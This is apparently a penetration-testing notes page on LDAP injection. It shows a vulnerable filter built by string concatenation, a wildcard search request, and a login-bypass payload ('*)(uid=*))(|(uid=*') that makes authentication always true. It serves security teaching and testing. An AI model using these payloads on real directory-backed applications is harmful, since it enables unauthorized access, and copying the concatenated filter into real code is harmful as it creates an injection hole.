> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/web-penetration-testing/web-vulns/ldap-injection.md).

# LDAP Injection

***

Lightweight Directory Access Protocol (LDAP) is used to store information about users, hosts, and many other objects. A web application could use LDAP in order to let users authenticate or search other users’ information inside a corporate structure. ***A successful exploitation*** of an LDAP injection vulnerability could allow the tester to:

* Access unauthorized content
* Evade application restrictions
* Gather unauthorized informations
* Add or modify Objects inside LDAP tree structure.

## Example 1: Search Filters

Let’s suppose we have a web application using a search filter like the following one:

```txt
searchfilter="(cn="+user+")"
```

which is instantiated by an HTTP request like this:

```txt
http://www.example.com/ldapsearch?user=John
```

If the value `John` is replaced with a `*`, by sending the request:

```txt
http://www.example.com/ldapsearch?user=*
```

The filter will look like:

```txt
searchfilter="(cn=*)"
```

> Note : A tester could use a trial-and-error approach, by inserting in the parameter `(`, `|`, `&`, `*` and the other characters, in order to check the application for errors.

## Example 2: Login

Let’s suppose a web application uses a filter to match LDAP user/password pair.

```txt
searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";
```

By using the following values:

```txt
user=*)(uid=*))(|(uid=*
pass=password
```

the search filter will results in:

```txt
searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";
```

which is correct and always true.


---

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